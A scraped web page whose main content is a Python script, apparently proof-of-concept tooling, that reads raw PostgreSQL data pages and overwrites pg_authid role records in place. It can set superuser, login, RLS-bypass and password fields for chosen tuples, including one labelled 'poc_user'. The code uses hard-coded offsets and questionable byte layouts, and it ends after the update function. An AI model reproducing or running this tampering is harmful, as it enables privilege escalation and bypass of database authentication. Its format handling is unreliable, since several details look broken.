選擇語言
繁體中文
繁體中文 Traditional Chinese
简体中文
简体中文 Simplified Chinese
English
English English
日本語
日本語 Japanese
AI 助手

今日情報速問。不用選範圍,直接問今天值得看什麼。

完整分析

通知訊訊

暫無新訊訊

#!/usr/bin/env python3 import argparse import struct import csv import base64 from io import BytesIO # PostgreSQL 默认页面大小 (8KB) PG_PAGE_SIZE = 8192 # 测试文件中元组位置映射(page 0) TUPLE_POSITIONS = { 0: 256, # item 0: postgres 1: 768, # item 1: pg_monitor 9: 4096 # item 9: poc_user } # PostgreSQL 类型解析器/生成器映射 TYPE_HANDLERS = { 'oid': { 'parse': lambda b: struct.unpack('I', b)[0] if len(b)==4 else 0, 'pack': lambda v: struct.pack('I', int(v)) }, 'cid': { 'parse': lambda b: struct.unpack('i', b)[0] if len(b)==4 else 0, 'pack': lambda v: struct.pack('i', int(v)) }, 'xid': { 'parse': lambda b: struct.unpack('i', b)[0] if len(b)==4 else 0, 'pack': lambda v: struct.pack('i', int(v)) }, 'tid': { 'parse': lambda b: struct.unpack('HH', b[:4]) if len(b)>=4 else (0,0), 'pack': lambda v: struct.pack('HH', 0, int(v)) + b'\x00' }, 'int4': { 'parse': lambda b: struct.unpack('i', b)[0] if len(b)==4 else 0, 'pack': lambda v: struct.pack('i', int(v)) }, 'bool': { 'parse': lambda b: struct.unpack('b', b)[0] if len(b)==1 else 0, 'pack': lambda v: struct.pack('b', int(v)) }, 'name': { 'parse': lambda b: b.split(b'\x00')[0] if b else b'', 'pack': lambda v: base64.b64decode(v) if v.startswith('cG9j') else (v.encode() + b'\x00' * 64)[:64] }, 'text': { 'parse': lambda b: b if b and len(b)>0 else None, 'pack': lambda v: struct.pack('I', len(v)+4) + v.encode() if v != 'NULL' else struct.pack('I', 0) }, 'timestamptz': { 'parse': lambda b: struct.unpack('d', b)[0] if len(b)==8 else 0.0, 'pack': lambda v: struct.pack('d', 0.0) if v == 'NULL' else struct.pack('d', float(v)) }, } # pg_authid 核心字段顺序(对应csv-data) PG_AUTHID_FIELDS = [ 'oid', 'rolname', 'rolsuper', 'rolinherit', 'rolcreaterole', 'rolcreatedb', 'rolcanlogin', 'rolreplication', 'rolbypassrls', 'rolconnlimit', 'rolpassword', 'rolvaliduntil' ] def parse_datatype_csv(csv_str): """解析数据类型CSV字符串,返回字段解析规则列表""" fields = [] for field_str in csv_str.split(';'): if not field_str.strip(): continue parts = field_str.split(',') if len(parts) < 4: continue field_name, typname, attlen, attalign = parts[:4] fields.append({ 'name': field_name.strip(), 'type': typname.strip(), 'length': int(attlen.strip()), 'align': attalign.strip() }) return fields def read_pg_page(file_handle, page_num=0): """读取指定页码的PostgreSQL数据页面""" file_handle.seek(page_num * PG_PAGE_SIZE) return bytearray(file_handle.read(PG_PAGE_SIZE)) def parse_tuple_data(page_data, fields): """解析页面中的元组数据(list模式)""" tuples = [] for item_num, offset in TUPLE_POSITIONS.items(): try: # 读取元组长度 tuple_len = struct.unpack('H', page_data[offset:offset+2])[0] offset += 2 if tuple_len == 0 or offset + tuple_len > len(page_data): continue # 读取元组数据 tuple_data = page_data[offset:offset+tuple_len] tuple_io = BytesIO(tuple_data) # 跳过元组头部(23字节) tuple_io.seek(23) # 解析每个字段 record = {} for field in fields: field_name = field['name'] field_type = field['type'] field_len = field['length'] try: # 处理变长字段(length=-1) if field_len == -1: var_len_data = tuple_io.read(4) if len(var_len_data) < 4: field_value = None else: var_len = struct.unpack('I', var_len_data)[0] if var_len == 0: field_value = None else: field_value = tuple_io.read(var_len - 4) else: # 定长字段 field_data = tuple_io.read(field_len) if len(field_data) < field_len: field_value = None else: parser = TYPE_HANDLERS.get(field_type, {}).get('parse', lambda b: b) field_value = parser(field_data) record[field_name] = field_value except Exception as e: record[field_name] = None tuples.append((item_num, record)) except Exception as e: continue return tuples def update_tuple_data(page_data, page_num, item_num, csv_data, datatype_fields): """更新指定元组数据(update模式)""" # 1. 解析更新数据 update_values = csv_data.split(',') if len(update_values) != len(PG_AUTHID_FIELDS): raise ValueError(f"更新数据字段数不匹配,需要{len(PG_AUTHID_FIELDS)}个,实际{len(update_values)}个") # 构建更新字典 update_dict = dict(zip(PG_AUTHID_FIELDS, update_values)) # 2. 定位元组位置 if item_num not in TUPLE_POSITIONS: raise ValueError(f"Item {item_num} 不存在,支持的item: {list(TUPLE_POSITIONS.keys())}") tuple_offset = TUPLE_POSITIONS[item_num] # 3. 读取元组长度 tuple_len = struct.unpack('H', page_data[tuple_offset:tuple_offset+2])[0] data_offset = tuple_offset + 2 + 23 # 元组长度(2) + 元组头部(23) # 4. 找到pg_authid字段在datatype_fields中的位置 field_index_map = {} for idx, field in enumerate(datatype_fields): if field['name'] in PG_AUTHID_FIELDS: field_index_map[field['name']] = idx # 5. 计算每个字段的偏移并更新 current_offset = data_offset # 先跳过系统字段(tableoid, cmax, xmax, cmin, xmin, ctid) system_fields = ['tableoid', 'cmax', 'xmax', 'cmin', 'xmin', 'ctid'] for field in datatype_fields: if field['name'] in system_fields: if field['length'] == -1: current_offset += 4 # 变长字段头部 current_offset += struct.unpack('I', page_data[current_offset-4:current_offset])[0] - 4 else: current_offset += field['length'] # 更新pg_authid核心字段 for field_name in PG_AUTHID_FIELDS: if field_name not in field_index_map: continue field = datatype_fields[field_index_map[field_name]] field_type = field['type'] field_len = field['length'] update_value = update_dict[field_name] try: # 获取字段打包函数 pack_func = TYPE_HANDLERS.get(field_type, {}).get('pack', lambda v: v.encode()) # 处理不同类型字段 if field_len == -1: # 变长字段(text) # 先清空原有数据(简单处理:直接覆盖) packed_data = pack_func(update_value) # 写入新数据 page_data[current_offset:current_offset+len(packed_data)] = packed_data current_offset += len(packed_data) else: # 定长字段 packed_data = pack_func(update_value) # 确保长度匹配 if len(packed_data) < field_len: packed_data += b'\x00' * (field_len - len(packed_data)) elif len(packed_data) > field_len: packed_data = packed_data[:field_len] # 写入新数据 page_data[current_offset:current_offset+field_len] = packed_data current_offset += field_len except Exception as e: print(f"警告:更新字段 {field_name} 失败 - {e}") current_offset += field_len if field_len != -1 else 4 return page_data